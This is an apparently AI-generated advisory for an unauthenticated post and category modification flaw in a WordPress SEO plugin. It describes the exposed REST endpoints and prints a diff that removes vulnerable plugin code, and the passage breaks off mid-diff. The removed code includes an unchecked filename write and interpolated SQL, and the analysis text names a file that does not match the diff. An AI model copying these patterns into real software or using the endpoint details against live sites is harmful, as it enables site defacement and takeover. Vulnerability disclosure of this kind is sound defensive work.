Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-15285: SEO Flow by LupsOnline <= 2.2.1 – Unauthenticated Arbitrary Post/Category Modification (lupsonline-link-netwerk)

Severity High (CVSS 7.5)
CWE 862
Vulnerable Version 2.2.1
Patched Version 3.0.0
Disclosed February 2, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-15285:
The SEO Flow by LupsOnline WordPress plugin, versions up to and including 2.2.1, contains an unauthenticated arbitrary post and category modification vulnerability. The plugin’s API authentication functions lack WordPress capability checks, allowing complete blog management operations without proper authorization. This missing authorization check results in a high-severity vulnerability with a CVSS score of 7.5.

Atomic Edge research identifies the root cause in the checkBlogAuthentication() and checkCategoryAuthentication() functions within the plugin’s main class file. These functions, located in the lupsonline-link-netwerk/includes/class-linknetwerk.php file, implement only basic API key validation via the checkApiKey() method. The functions do not verify WordPress user capabilities or authentication state before performing sensitive operations like wp_insert_post(), wp_update_post(), wp_delete_post(), and wp_insert_term(). The vulnerable code paths allow direct execution of blog and category management functions through the plugin’s API endpoints.

Exploitation occurs through HTTP POST requests to the plugin’s REST API endpoint at /wp-json/seoflow/v1/. Attackers send requests with a valid API key parameter to endpoints such as /blog/create, /blog/update, /blog/delete, /category/create, /category/update, and /category/delete. The API key is validated by checkApiKey(), but no further authentication or capability checks are performed. Attackers can craft requests with parameters like title, content, slug, categoryId, and featuredImage to create, modify, or delete any blog post or category on the WordPress site.

The patch completely removes the vulnerable authentication functions and replaces them with proper WordPress REST API permission callbacks. The diff shows the deletion of the entire LinkNetwerk class file (lupsonline-link-netwerk/admin/class-linknetwerk-admin.php) and its replacement with a new implementation. The patched version implements WordPress REST API standards with proper permission_callback functions that verify user capabilities. The checkApiKey() function is removed, and all endpoints now require valid WordPress user authentication with appropriate capabilities like edit_posts and manage_categories.

Successful exploitation allows unauthenticated attackers to create, modify, and delete any blog post or category on the WordPress site. Attackers can publish malicious content, deface the website, delete legitimate content, or create backdoor posts with malicious code. The vulnerability also enables SEO spam injection through unauthorized post creation and category manipulation, potentially damaging the site’s search engine rankings and reputation.

Differential between vulnerable and patched code

Code Diff
--- a/lupsonline-link-netwerk/admin/class-linknetwerk-admin.php
+++ b/lupsonline-link-netwerk/admin/class-linknetwerk-admin.php
@@ -1,697 +0,0 @@
-<?php
-
-/**
- * The admin-specific functionality of the plugin.
- *
- * @package    SEOFlow
- * @subpackage SEOFlow/admin
- * @author Trinco Ingels <info@trincoingels.nl>
- */
-class LinkNetwerk_Admin {
-
-    private $plugin_name;
-    private $version;
-    private $dbTable;
-    private $wpdb;
-    private $uptimeRobotKeyword = "Uptime-Robot-Keyword";
-
-    /**
-     * Initialize the class and set its properties.
-     *
-     * @param      string    $plugin_name       The name of this plugin.
-     * @param      string    $version    The version of this plugin.
-     */
-    public function __construct($plugin_name, $version) {
-        global $wpdb;
-        $this->plugin_name = $plugin_name;
-        $this->version = $version;
-        $this->wpdb = $wpdb;
-        $this->wpdb->hide_errors();
-        $this->dbTable = $wpdb->prefix . strtolower($this->plugin_name) . '_links';
-
-    }
-
-    private function uploadImage($image, $imageName) {
-        // Upload dir.
-        $upload_dir = wp_upload_dir();
-        $upload_path = str_replace('/', DIRECTORY_SEPARATOR, $upload_dir['path']) . DIRECTORY_SEPARATOR;
-
-        $imageInfo = explode(";base64,", $image);
-        $imgExt = str_replace('data:', '', $imageInfo[0]);
-        $image = str_replace(' ', '+', $imageInfo[1]);
-        $filename = $imageName;
-
-        $upload_file = file_put_contents($upload_path . $filename, base64_decode($image));
-
-
-        $attachment = array(
-            'post_mime_type' => $imgExt,
-            'post_title' => sanitize_file_name(basename($filename)),
-            'post_content' => '',
-            'post_status' => 'inherit',
-            'guid' => $upload_dir['url'] . '/' . basename($filename)
-        );
-
-        $attach_id = wp_insert_attachment($attachment, $upload_dir['path'] . '/' . $filename);
-
-		include_once( ABSPATH . 'wp-admin/includes/image.php' );
-        $attachment_meta = wp_generate_attachment_metadata($attach_id, $upload_dir['path'] . '/' . $filename);
-        wp_update_attachment_metadata($attach_id, $attachment_meta);
-
-        return $attach_id;
-    }
-
-    public function getVersion(){
-        return $this->version;
-    }
-
-    public function getLinks($atts) {
-        global $post;
-        if ($postId = filter_var($post->ID, FILTER_VALIDATE_INT)) {
-            $order = $this->getSetting('linkOrder');
-
-            $filterVisible = '';
-            if(str_replace(".", "", $this->version) >= 124){
-                $filterVisible = "and ((visibleTill is null OR visibleTill >= now()) and (visibleFrom is null or visibleFrom <= now()))";
-            }
-
-            if ($order == 'OldNew') {
-                $sql = $this->wpdb->prepare("SELECT * FROM $this->dbTable where post_id = $postId $filterVisible  order by createdAt ASC");
-            } else if ($order == 'Alphabet') {
-                $sql = $this->wpdb->prepare("SELECT *, substring_index(SUBSTRING(link, LOCATE('>', link) +1, char_length(link)),'</a>', 1) `Title` FROM $this->dbTable where post_id = $postId $filterVisible   order by Title ASC");
-            } else {
-                $sql = $this->wpdb->prepare("SELECT * FROM $this->dbTable where post_id = $postId $filterVisible  order by createdAt DESC");
-            }
-
-            $results = $this->wpdb->get_results($sql, ARRAY_A);
-
-			$return = '<p data="' . $this->uptimeRobotKeyword . '">';
-            if ($results) {
-                foreach ($results as $result) {
-                    $return .= wp_kses_post(strip_tags($result['link'], "<a>")) . '<br>';
-                }
-            }
-			$return .= "</p>";
-			return $return;
-        }
-    }
-
-    public function addSetting($key, $value) {
-        $db_table_name = $this->wpdb->prefix . strtolower($this->plugin_name) . '_instellingen';  // table name
-        $setting = $this->wpdb->get_row($this->wpdb->prepare("SELECT * FROM $db_table_name WHERE `key` = %s and `value` = %s", $key, $value));
-
-        if ($setting && property_exists($setting, "id")) {
-            $this->wpdb->update($db_table_name, array('key' => $key, 'value' => $value), array('id' => $setting->id), array('%s', '%s'), array('%d')
-            );
-        } else {
-            $this->wpdb->insert($db_table_name, array('key' => $key, 'value' => $value), array('%s', '%s')
-            );
-        }
-    }
-
-    public function getSetting($key) {
-        $db_table_name = $this->wpdb->prefix . strtolower($this->plugin_name) . '_instellingen';  // table name
-        $setting = $this->wpdb->get_row($this->wpdb->prepare("SELECT * FROM $db_table_name WHERE `key` = %s", $key));
-
-        return $setting->value;
-    }
-
-    public function getLink($id, $pageId, $websiteLinkId) {
-        if ($id)
-            return $this->wpdb->get_row($this->wpdb->prepare("SELECT * FROM $this->dbTable WHERE id = %d", $id), ARRAY_A);
-        else
-            return $this->wpdb->get_row($this->wpdb->prepare("SELECT * FROM $this->dbTable WHERE post_id = %d and website_link_id = %d", $pageId, $websiteLinkId), ARRAY_A);
-    }
-
-    public function saveLink($data) {
-        try {
-            $result = $this->wpdb->insert($this->dbTable, array('post_id' => $data['pageid'], 'link' => urldecode($data['link']), 'website_link_id' => $data['websiteLinkId'], 'visibleFrom' => isset($data['visibleFrom']) ? $data['visibleFrom'] : null, 'visibleTill' => isset($data['visibleTill']) ? $data['visibleTill'] : null), array('%d', '%s', '%d', '%s', '%s')
-            );
-
-            if ($result != 1) {
-                throw new Exception( $this->wpdb->last_error);
-            }
-        }catch(Exception $e){
-            return new WP_Error(500, $e->getMessage());
-        }
-
-        return $this->getLink(null, $data['pageid'], $data['websiteLinkId']);
-    }
-
-    public function updateLink($data) {
-        $result = $this->wpdb->update($this->dbTable, array('link' => urldecode($data['link']), 'updatedAt' => current_time('mysql'), 'visibleFrom' => isset($data['visibleFrom']) ? $data['visibleFrom'] : null, 'visibleTill' => isset($data['visibleTill']) ? $data['visibleTill'] : null), array('post_id' => $data['pageid'], 'website_link_id' => $data['websiteLinkId']), array('%s', '%s', '%s', '%s'), array('%d', '%d')
-        );
-
-        if ($result != 1) {
-            return new WP_Error(500, $this->wpdb->last_error ?: 'Nothing to update');
-        }
-        return $this->getLink(null, $data['pageid'], $data['websiteLinkId']);
-    }
-
-    public function deleteLink($data) {
-        $result = $this->wpdb->delete($this->dbTable, array('website_link_id' => $data['websiteLinkId']));
-
-        if ($result != 1)
-            return new WP_Error(500, $this->wpdb->last_error);
-        return $this->getLink(null, $data['pageid'], $data['websiteLinkId']);
-    }
-
-    public function deleteAllLinks(){
-        return $this->wpdb->query($this->wpdb->prepare("DELETE FROM $this->dbTable"));
-    }
-
-    public function saveBlog($data) {
-        $attach_id = null;
-        if ($data['featuredImage']) {
-            $attach_id = $this->uploadImage($data['featuredImage'], $data['featuredImageName']);
-        }
-
-        $my_post = array(
-            'post_title' => $data['title'],
-            'post_name' => $data['slug'],
-            'post_content' => wp_kses_post(html_entity_decode($data['content'])),
-            'post_status' => 'publish',
-            'post_author' => 1,
-            'post_category' => explode(',', $data['categoryId']),
-            'post_date' => $data['postDate']
-        );
-
-
-        $postId = wp_insert_post($my_post);
-        if ($attach_id)
-            set_post_thumbnail($postId, $attach_id);
-
-        $seoTitle = $data['seoTitle'] ?? null;
-        $seoDesc = $data['seoDescription'] ?? null;
-        $this->updateSeo($seoTitle, $seoDesc, $postId);
-
-        return array('pageId' => $postId, 'pageUrl' => get_permalink($postId));
-    }
-
-    public function updateBlog($data) {
-        if ($data['featuredImage']) {
-            $attach_id = $this->uploadImage($data['featuredImage'], $data['featuredImageName']);
-        }
-
-        $my_post = array(
-            'ID' => $data['pageid'],
-            'post_title' => $data['title'],
-            'post_name' => $data['slug'],
-            'post_content' => wp_kses_post(html_entity_decode($data['content'])),
-            'post_status' => 'publish',
-            'post_author' => 1,
-            'post_category' => explode(',', $data['categoryId']),
-            'post_date' => $data['postDate']
-        );
-
-        $postId = wp_update_post($my_post);
-        if ($attach_id) {
-            set_post_thumbnail($postId, $attach_id);
-        } else {
-            delete_post_thumbnail($postId);
-        }
-
-        $seoTitle = $data['seoTitle'] ?? null;
-        $seoDesc = $data['seoDescription'] ?? null;
-        $this->updateSeo($seoTitle, $seoDesc, $postId);
-
-        return array('pageId' => $postId, 'pageUrl' => get_permalink($postId));
-    }
-
-    private function updateSeo($postId, $seoTitle, $seoDesc)
-    {
-        if (!empty($seoTitle) || !empty($seoDesc)) {
-            if (in_array('wordpress-seo/wp-seo.php', apply_filters('active_plugins', get_option('active_plugins')))) { // YOAST
-                update_post_meta($postId, '_yoast_wpseo_title', $seoTitle);
-                update_post_meta($postId, '_yoast_wpseo_metadesc', $seoDesc);
-            }
-            if (in_array('seo-by-rank-math/rank-math.php', apply_filters('active_plugins', get_option('active_plugins')))) { // YOAST
-                update_post_meta($postId, 'rank_math_title', $seoTitle);
-                update_post_meta($postId, 'rank_math_description', $seoDesc);
-            }
-        }
-    }
-
-    public function deleteBlog($pageId) {
-        return wp_delete_post($pageId);
-    }
-
-    public function addCategory($category, $parentId) {
-        wp_insert_term($category, 'category', ['parent' => $parentId ?? 0]);
-    }
-
-    public function exportOrder($order_id) {
-
-        if (!get_option("lupsOnlineLinkNetwerkWebshopActive") && get_option("lupsOnlineLinkNetwerkWebshopActive") != 1) {
-            return;
-        }
-
-        $order = new WC_Order($order_id);
-        if ($order->get_status() == 'processing') {
-            $lupsOnlineLinkNetwerkWebshopCategory = strtolower(get_option("lupsOnlineLinkNetwerkWebshopCategory")) ? : 'category';
-            $lupsOnlineLinkNetwerkWebshopCategoryValue = strtolower(get_option("lupsOnlineLinkNetwerkWebshopCategoryValue")) ? : 'backlink';
-            $lupsOnlineLinkNetwerkWebshopPartnerPageUrl = strtolower(get_option("lupsOnlineLinkNetwerkWebshopPartnerPageUrl")) ? : 'partnerpage url';
-
-
-            $orderId = $order->get_id();
-
-            $billingaddress = $order->get_address('billing');
-            $shippingaddress = $order->get_address('shipping');
-
-            $address = $billingaddress;
-            if (!empty($shippingaddress["postcode"]) && !empty($shippingaddress["city"]) && !empty($shippingaddress["address_1"])) {
-                $address = $shippingaddress;
-            }
-
-            $data = array();
-            foreach ($order->get_items() as $item_id => $item) {
-                $product = $item->get_product();
-
-                $dataLine = array();
-                $attributes = $product->get_attributes();
-                foreach ($attributes as $attribute) {
-                    $option = array_shift($attribute->get_options());
-                    if (strtolower(wc_attribute_label($attribute->get_name())) == strtolower($lupsOnlineLinkNetwerkWebshopCategory)) {
-                        $terms = wc_get_product_terms($product->id, $attribute->get_name(), array('fields' => 'names'));
-                        $productContainsCategoryValue = false;
-                        foreach ($terms as $term) {
-
-                            if (!in_array(strtolower($term), explode(",", strtolower($lupsOnlineLinkNetwerkWebshopCategoryValue))))
-                                continue;
-                            $productContainsCategoryValue = true;
-                        }
-                        if (!$productContainsCategoryValue)
-                            continue 2;
-                    }
-                    if (strtolower(wc_attribute_label($attribute->get_name())) == strtolower($lupsOnlineLinkNetwerkWebshopPartnerPageUrl)) {
-                        $terms = wc_get_product_terms($product->id, $attribute->get_name(), array('fields' => 'names'));
-                        $dataLine["PartnerPageUrl"] = array_shift(array_values($terms));
-                    }
-                }
-                foreach (wc_get_order_item_meta($item_id, '_WCPA_order_meta_data') as $item_meta) {
-                    if (strtolower($item_meta['label']) == 'anchor / keyword')
-                        $dataLine["Title"] = $item_meta['value'];
-
-                    if (strtolower($item_meta['label']) == 'url')
-                        $dataLine["Url"] = $item_meta['value'];
-                }
-
-                array_push($data, $dataLine);
-            }
-
-            try {
-                $api = new LinkNetwerk_Api();
-                $api->apiCall(array('orderedLinks' => $data, 'customer' => array('firstname' => $address["first_name"], 'lastname' => $address["last_name"])), "POST");
-            } catch (Exception $e) {
-                if (get_option("lupsOnlineLinkNetwerkWebshopMailOnError")) {
-                    $headers[] = 'Content-type: text/plain; charset=utf-8';
-                    $headers[] = 'From:' . get_bloginfo('admin_email');
-
-                    $reden = $e->getMessage();
-                    if ($reden) {
-                        $reden = json_decode($reden, true);
-                        $reden = sanitize_text_field($reden['info']);
-                    }
-                    $html = "Hallo,rn";
-                    $html .= sprintf("Order: %s is niet (geheel) verwerkt met de volgende reden: rn %s rnn -- Dit is een automatische mail door de SEOFlow Linknetwerk plugin vanaf %s", $orderId, $reden, $_SERVER['SERVER_NAME']);
-                    $to = get_option("lupsOnlineLinkNetwerkWebshopMailOnError");
-                    if (!$to)
-                        $to = sprintf("info@%s", $_SERVER['SERVER_NAME']);
-                    wp_mail($to, sprintf("Het is niet gelukt om order %s automatisch door te zetten", $order_id), $html, $headers);
-                }
-            }
-        }
-    }
-
-    /**
-     * Add nav item to settings menu
-     *
-     */
-    public function action_admin_menu() {
-        add_options_page(esc_html__('SEO Flow', 'wp-crontrol'), esc_html__('SEO Flow', 'wp-crontrol'), 'manage_options', 'lupsOnlineLinkNetwerk_admin_options_page', [$this, 'admin_options_page']);
-    }
-
-    private function table_structure($table){
-        $results = ($this->wpdb->get_results("DESCRIBE $table"));
-        $output = "rnTable: $table rn";
-        if($results){
-
-            foreach($results[0] as $key => $value){ // Header only
-                $output .= $key . "t";
-            }
-            foreach($results as $result){
-                $output .= "rn";
-                foreach($result as $key => $value){
-                    $output .= $value . "t";
-                }
-            }
-        }else{
-            $output .= "rnTable not found / Result  empty";
-        }
-        return $output;
-    }
-
-    /**
-     * Admin options page
-     *
-     */
-    public function admin_options_page() {
-
-        // check user capabilities
-        if (!current_user_can('manage_options')) {
-            return;
-        }
-
-        if( isset($_GET['connection_success']) ){
-            LinkNetwerk_AdminNotice::displaySuccess(__('Koppeling gemaakt.'));
-            LinkNetwerk_AdminNotice::displayAdminNotice();
-        }
-
-		$redirectUrl = false;
-
-        if ($_POST && (isset($_POST["save_lupsOnlineLinkNetwerk_settings"]) || isset($_POST["connect_lupsOnlineLinkNetwerk_settings"]) ) ) {
-            check_admin_referer('save_lupsOnlineLinkNetwerk_settings');
-            if (isset($_POST['lupsOnlineLinkNetwerkActive'])) {
-                $lupsOnlineLinkNetwerkActive = wp_unslash(sanitize_text_field($_POST['lupsOnlineLinkNetwerkActive']));
-            } else {
-                $lupsOnlineLinkNetwerkActive = 0;
-            }
-
-			if (isset($_POST['lupsOnlineLinkNetwerkAutoUpdate'])) {
-                $lupsOnlineLinkNetwerkAutoUpdate = wp_unslash(sanitize_text_field($_POST['lupsOnlineLinkNetwerkAutoUpdate']));
-            } else {
-                $lupsOnlineLinkNetwerkAutoUpdate = 0;
-            }
-
-            $apiKey = sanitize_text_field($_POST['lupsOnlineLinkNetwerkApiKey']);
-            $action = null;
-            if(isset($_POST['connect_lupsOnlineLinkNetwerk_settings']) ){
-                if(!$apiKey){
-                    $apiKey = sha1(microtime(true) . random_int(10000, 90000));
-                    $action = 'connect';
-                }else{
-                    $apiKey = sha1(microtime(true) . random_int(10000, 90000));
-                    $action = 'reconnect';
-                }
-
-                $lupsOnlineLinkNetwerkActive = 'on';
-                $lupsOnlineLinkNetwerkAutoUpdate = 'on';
-
-            }
-            if (!preg_match('/^[a-z0-9]+$/', $apiKey)) {
-                LinkNetwerk_AdminNotice::displayError(__('Api Key Niet geldig'));
-            } else {
-                update_option('lupsOnlineLinkNetwerkActive', ($lupsOnlineLinkNetwerkActive === "on" ? 1 : 0));
-                update_option('lupsOnlineLinkNetwerkAutoUpdate', ($lupsOnlineLinkNetwerkAutoUpdate === "on" ? 1 : 0));
-                update_option('lupsOnlineLinkNetwerkApiKey', $apiKey);
-                LinkNetwerk_AdminNotice::displaySuccess(__('Settings saved.'));
-            }
-
-            if( isset($_POST['connect_lupsOnlineLinkNetwerk_settings']) ){
-                $redirectUrl = sprintf(' https://seoflowtool.nl/connect-website?url=%s&key=%s&action=%s', get_site_url(), $apiKey, $action);
-            }
-
-            LinkNetwerk_AdminNotice::displayAdminNotice();
-        } else if ($_POST && isset($_POST["save_lupsOnlineLinkNetwerk_webshop_settings"])) {
-            check_admin_referer('save_lupsOnlineLinkNetwerk_settings');
-            if (isset($_POST['lupsOnlineLinkNetwerkWebshopActive'])) {
-                $lupsOnlineLinkNetwerkWebshopActive = wp_unslash(sanitize_text_field($_POST['lupsOnlineLinkNetwerkWebshopActive']));
-            } else {
-                $lupsOnlineLinkNetwerkWebshopActive = 0;
-            }
-            $apiKey = sanitize_text_field($_POST['lupsOnlineLinkNetwerkWebshopLicenseKey']);
-            $mailOnError = sanitize_text_field($_POST['lupsOnlineLinkNetwerkWebshopMailOnError']);
-            $lupsOnlineLinkNetwerkWebshopPartnerPageUrl = sanitize_text_field($_POST['lupsOnlineLinkNetwerkWebshopPartnerPageUrl']);
-            $lupsOnlineLinkNetwerkWebshopCategory = sanitize_text_field($_POST['lupsOnlineLinkNetwerkWebshopCategory']);
-            if (!preg_match('/^[a-z0-9]+$/', $apiKey)) {
-                LinkNetwerk_AdminNotice::displayError(__('License Key Niet geldig'));
-            } else {
-                update_option('lupsOnlineLinkNetwerkWebshopActive', ($lupsOnlineLinkNetwerkWebshopActive === "on" ? 1 : 0));
-                update_option('lupsOnlineLinkNetwerkWebshopLicenseKey', $apiKey);
-                update_option('lupsOnlineLinkNetwerkWebshopMailOnError', $mailOnError);
-                update_option('lupsOnlineLinkNetwerkWebshopPartnerPageUrl', $lupsOnlineLinkNetwerkWebshopPartnerPageUrl);
-                update_option('lupsOnlineLinkNetwerkWebshopCategory', $lupsOnlineLinkNetwerkWebshopCategory);
-                LinkNetwerk_AdminNotice::displaySuccess(__('Settings saved.'));
-            }
-
-            header('Location: ' . $_SERVER['HTTP_REFERER']);
-        }
-
-        $lupsOnlineLinkNetwerkActive = get_option("lupsOnlineLinkNetwerkActive");
-        $lupsOnlineLinkNetwerkAutoUpdate = get_option("lupsOnlineLinkNetwerkAutoUpdate");
-		if(!$lupsOnlineLinkNetwerkAutoUpdate) $lupsOnlineLinkNetwerkAutoUpdate = in_array('lupsonline-link-netwerk/linknetwerk.php', array_values(get_option( 'auto_update_plugins' ) ?: [] ) );
-        $lupsOnlineLinkNetwerkApiKey = get_option("lupsOnlineLinkNetwerkApiKey");
-
-        $lupsOnlineLinkNetwerkWebshopActive = get_option("lupsOnlineLinkNetwerkWebshopActive");
-        $lupsOnlineLinkNetwerkWebshopLicenseKey = get_option("lupsOnlineLinkNetwerkWebshopLicenseKey");
-        $lupsOnlineLinkNetwerkWebshopMailOnError = get_option("lupsOnlineLinkNetwerkWebshopMailOnError");
-        $lupsOnlineLinkNetwerkWebshopPartnerPageUrl = get_option("lupsOnlineLinkNetwerkWebshopPartnerPageUrl");
-        $lupsOnlineLinkNetwerkWebshopCategory = get_option("lupsOnlineLinkNetwerkWebshopCategory");
-        ?>
-
-        <?php
-            if( isset($_GET['connection_success']) ){
-        ?>
-            <script type="text/javascript">
-                jQuery(document).ready(function ($) {
-                    let url = new URL(window.location.href);
-                    let connection_success = url.searchParams.get('connection_success');
-                    if( connection_success ){
-                        url.searchParams.delete('connection_success');
-                        history.replaceState(history.state, '', url.href);
-                    }
-                });
-            </script>
-            <?php
-        }
-            ?>
-        <?php
-            if($redirectUrl){
-                print(sprintf('<script>window.location.href="%s"</script>', esc_js(esc_url_raw($redirectUrl))));
-			}
-            ?>
-        <!-- Create a header in the default WordPress 'wrap' container -->
-        <div class="wrap">
-
-            <div id="icon-themes" class="icon32"></div>
-            <h2><?php esc_html_e('SEO Flow', 'wp-crontrol'); ?></h2>
-            <?php settings_errors(); ?>
-
-            <?php
-            if (isset($_GET['tab'])) {
-                $active_tab = sanitize_text_field($_GET['tab']);
-            } else {
-                $active_tab = "settings";
-            }
-            ?>
-
-            <h2 class="nav-tab-wrapper">
-                <a href="?page=lupsOnlineLinkNetwerk_admin_options_page&tab=settings" class="nav-tab <?php echo $active_tab == 'settings' ? 'nav-tab-active' : ''; ?>">Links</a>
-                <a href="?page=lupsOnlineLinkNetwerk_admin_options_page&tab=webshop" class="nav-tab <?php echo $active_tab == 'webshop' ? 'nav-tab-active' : ''; ?>">Webshop</a>
-                <a href="?page=lupsOnlineLinkNetwerk_admin_options_page&tab=status" class="nav-tab <?php echo $active_tab == 'status' ? 'nav-tab-active' : ''; ?>">Status</a>
-            </h2>
-
-            <div class="tab-content">
-                <?php
-                switch ($active_tab) :
-                    case 'settings':
-                        ?>
-                        <div class="wrap">
-                            <div class="wrap narrow">
-                                <form method="post" action="options-general.php?page=lupsOnlineLinkNetwerk_admin_options_page" name="save_lupsOnlineLinkNetwerk_settings">
-                                    <table class="form-table">
-                                        <tbody>
-                                        <tr>
-                                            <th valign="top" scope="row"><label for="lupsOnlineLinkNetwerkVersion"><?php esc_html_e('Versie', 'wp-crontrol'); ?></label></th>
-                                            <td>
-                                                <label for="lupsOnlineLinkNetwerkVersion"><?php esc_html_e($this->version, 'wp-crontrol'); ?></label>
-                                            </td>
-                                        </tr>
-                                            <tr>
-                                                <th valign="top" scope="row"><label for="lupsOnlineLinkNetwerkAutoUpdate"><?php esc_html_e('Auto Update', 'wp-crontrol'); ?></label></th>
-                                                <td>
-                                                    <label for="lupsOnlineLinkNetwerkAutoUpdate"><input name="lupsOnlineLinkNetwerkAutoUpdate" type="checkbox" id="lupsOnlineLinkNetwerkAutoUpdate" <?php print($lupsOnlineLinkNetwerkAutoUpdate ? "checked" : ""); ?>>Actief</label>
-                                                    <p class="description"><small><?php esc_html_e('We raden je aan automatische updates aan te zetten zodat essentiële beveiligingsfixes en nieuwe functies worden geïnstalleerd zodra deze beschikbaar zijn.', 'wp-crontrol'); ?></small></p>
-                                                </td>
-                                            </tr>
-                                            <tr>
-                                                <th valign="top" scope="row"><label for="lupsOnlineLinkNetwerkActive"><?php esc_html_e('Actief', 'wp-crontrol'); ?></label></th>
-                                                <td>
-                                                    <label for="lupsOnlineLinkNetwerkActive"><input name="lupsOnlineLinkNetwerkActive" type="checkbox" id="lupsOnlineLinkNetwerkActive" <?php print($lupsOnlineLinkNetwerkActive ? "checked" : ""); ?>>Actief</label>
-                                                </td>
-                                            </tr>
-                                            <tr>
-                                                <th valign="top" scope="row"><label for="lupsOnlineLinkNetwerkWebshopUrl"><?php esc_html_e('Domein/Url', 'wp-crontrol'); ?></label></th>
-                                                <td>
-
-                                                    <input type="text" class="regular-text" value="<?php print(sanitize_text_field(get_site_url())); ?>" id="lupsOnlineLinkNetwerkWebshopUrl" name="lupsOnlineLinkNetwerkWebshopUrl" readonly/>
-                                                </td>
-                                            </tr>
-                                            <tr>
-                                                <th valign="top" scope="row"><label for="lupsOnlineLinkNetwerkApiKey"><?php esc_html_e('Api Key', 'wp-crontrol'); ?></label></th>
-                                                <td>
-                                                    <input type="text" class="regular-text" value="<?php print(sanitize_text_field($lupsOnlineLinkNetwerkApiKey)); ?>" id="lupsOnlineLinkNetwerkApiKey" name="lupsOnlineLinkNetwerkApiKey" />
-                                                </td>
-                                            </tr>
-                                        </tbody>
-                                    </table>
-                                    <p class="submit">
-                                        <input id="lupsOnlineLinkNetwerk-submit" type="submit" class="button button-primary" value="<?php esc_attr_e('Opslaan', 'wp-crontrol'); ?>" name="save_lupsOnlineLinkNetwerk_settings"/>
-                                        <input id="lupsOnlineLinkNetwerk-submit" type="submit" class="button button-secondary" value="<?php esc_attr_e( $lupsOnlineLinkNetwerkApiKey ? 'Opnieuw koppelen met SEO Flow' : 'Koppel je website met SEO Flow' , 'wp-crontrol'); ?>" name="connect_lupsOnlineLinkNetwerk_settings"/>
-                                    </p>
-                                    <?php wp_nonce_field('save_lupsOnlineLinkNetwerk_settings'); ?>
-                                </form>
-                            </div>
-                        </div>
-                        <?php
-                        break;
-                    case 'webshop':
-                        ?>
-                        <div class="wrap">
-                            <div class="wrap narrow">
-                                <form method="post" action="options-general.php?page=lupsOnlineLinkNetwerk_admin_options_page">
-                                    <table class="form-table">
-                                        <tbody>
-                                        <tr>
-                                                <th valign="top" scope="row"><label for="lupsOnlineLinkNetwerkWebshopActive"><?php esc_html_e('Actief', 'wp-crontrol'); ?></label></th>
-                                                <td>
-                                                    <label for="lupsOnlineLinkNetwerkWebshopActive"><input name="lupsOnlineLinkNetwerkWebshopActive" type="checkbox" id="lupsOnlineLinkNetwerkWebshopActive" <?php print($lupsOnlineLinkNetwerkWebshopActive ? "checked" : ""); ?>>Actief</label>
-                                                </td>
-                                            </tr>
-                                            <tr>
-                                                <th valign="top" scope="row"><label for="lupsOnlineLinkNetwerkWebshopUrl"><?php esc_html_e('Domein/Url', 'wp-crontrol'); ?></label></th>
-                                                <td>
-
-                                                    <input type="text" class="regular-text" value="<?php print(sanitize_text_field(get_site_url())); ?>" id="lupsOnlineLinkNetwerkWebshopUrl" name="lupsOnlineLinkNetwerkWebshopUrl" readonly/>
-                                                </td>
-                                            </tr>
-                                            <tr>
-                                                <th valign="top" scope="row"><label for="lupsOnlineLinkNetwerkWebshopLicenseKey"><?php esc_html_e('License Key', 'wp-crontrol'); ?></label></th>
-                                                <td>
-                                                    <input type="text" class="regular-text" value="<?php print(sanitize_text_field($lupsOnlineLinkNetwerkWebshopLicenseKey)); ?>" id="lupsOnlineLinkNetwerkWebshopLicenseKey" name="lupsOnlineLinkNetwerkWebshopLicenseKey" />
-                                                </td>
-                                            </tr>
-                                            <tr>
-                                                <th valign="top" scope="row"><label for="lupsOnlineLinkNetwerkWebshopPartnerPageUrl"><?php esc_html_e('Eigenschap Partner Page Url ', 'wp-crontrol'); ?></label></th>
-                                                <td>
-                                                    <input type="text" class="regular-text" value="<?php print(sanitize_text_field($lupsOnlineLinkNetwerkWebshopPartnerPageUrl)); ?>" id="lupsOnlineLinkNetwerkWebshopPartnerPageUrl" name="lupsOnlineLinkNetwerkWebshopPartnerPageUrl" />
-                                                    <p class="description"><small><?php esc_html_e('Vul de naam van de eigenschap in die gebruikt wordt om de Partner Page Url te definiëren', 'wp-crontrol'); ?></small></p>
-                                                </td>
-                                            </tr>
-                                            <tr>
-                                                <th valign="top" scope="row"><label for="lupsOnlineLinkNetwerkWebshopCategory"><?php esc_html_e('Eigenschap Categorie ', 'wp-crontrol'); ?></label></th>
-                                                <td>
-                                                    <input type="text" class="regular-text" value="<?php print(sanitize_text_field($lupsOnlineLinkNetwerkWebshopCategory)); ?>" id="lupsOnlineLinkNetwerkWebshopCategory" name="lupsOnlineLinkNetwerkWebshopCategory" />
-                                                    <p class="description"><small><?php esc_html_e('Vul de naam van de eigenschap in voor de producten die verwerkt mogen worden.', 'wp-crontrol'); ?></small></p>
-                                                </td>
-                                            </tr>
-                                            <tr>
-                                                <th valign="top" scope="row"><label for="lupsOnlineLinkNetwerkWebshopMailOnError"><?php esc_html_e('Mailadres bij errors', 'wp-crontrol'); ?></label></th>
-                                                <td>
-                                                    <input type="text" class="regular-text" value="<?php print(sanitize_text_field($lupsOnlineLinkNetwerkWebshopMailOnError)); ?>" id="lupsOnlineLinkNetwerkWebshopMailOnError" name="lupsOnlineLinkNetwerkWebshopMailOnError" />
-                                                </td>
-                                            </tr>
-                                        </tbody></table>
-                                    <p class="submit"><input id="lupsOnlineLinkNetwerk-submit" type="submit" class="button button-primary" value="<?php esc_attr_e('Opslaan', 'wp-crontrol'); ?>" name="save_lupsOnlineLinkNetwerk_webshop_settings"/></p>
-                                        <?php wp_nonce_field('save_lupsOnlineLinkNetwerk_webshop_settings'); ?>
-                                </form>
-                            </div>
-                        </div>
-                        <?php
-                        break;
-                    case 'status':
-                        global $wp_version;
-
-                        $report = "";
-                        $report .= "rnSiteadres: " . get_site_url();
-                        $report .= "rnWordpress version: $wp_version";
-                        $report .= "rnPlugin version: "  . $this->version;
-                        $report .= "rnPhp version: " . phpversion();
-                        $report .= "rnAPI Key: " . $lupsOnlineLinkNetwerkApiKey;
-
-                        $report .= "n";
-                        $report .= "rn#### TABLE STRUCTURES ####";
-                        $report .= "n";
-
-                        $report .= self::table_structure($this->wpdb->prefix . strtolower($this->plugin_name) . '_links');
-                        $report .= "n";
-                        $report .= self::table_structure($this->wpdb->prefix . strtolower($this->plugin_name) . '_instellingen');
-
-                        ?>
-                    <style>
-                        #debug-report{
-                            margin: 10px 0;
-                            padding: 0;
-                            position: relative;
-                        }
-                        #debug-report textarea {
-                            font-family: monospace;
-                            width: 100%;
-                            margin: 0;
-                            height: 300px;
